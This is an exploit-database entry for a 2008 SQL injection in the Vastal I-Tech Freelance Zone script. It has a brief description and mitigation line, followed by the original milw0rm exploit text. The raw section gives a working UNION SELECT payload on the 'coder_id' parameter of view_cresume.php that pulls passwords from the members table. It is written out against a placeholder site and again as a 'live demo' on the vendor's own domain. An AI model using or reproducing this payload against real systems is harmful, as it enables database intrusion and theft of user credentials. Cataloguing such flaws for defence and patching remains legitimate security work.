Vastal I-Tech Freelance Zone SQL Injection Vulnerability

vendor:

Freelance Zone

by:

Stack

CVSS

HIGH

SQL Injection

CWE

Product Name: Freelance Zone

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Vastal I-Tech Freelance Zone SQL Injection Vulnerability

The exploit takes advantage of a vulnerability in the Vastal I-Tech Freelance Zone script, which allows an attacker to inject malicious SQL commands into the vulnerable parameter 'coder_id' in the 'view_cresume.php' script. This can be exploited to gain access to the database and extract sensitive information such as passwords.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

#######################################################
#  Vastal I-Tech Freelance Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/freelance-zone-freelance-auction-script.html
#
# Demo      : http://www.vastal.com/freelance/
#######################################################
the exploit fate the password
use ur mind for have the column username
Exploit:
http://site.il/view_cresume.php?coder_id=-1/**/UNION/**/SELECT/**/1,2,password,user(),5/**/from/**/members/*
Live Demo
http://www.vastal.com/freelance/view_cresume.php?coder_id=-1/**/UNION/**/SELECT/**/1,2,password,user(),5/**/from/**/members/*

# milw0rm.com [2008-09-05]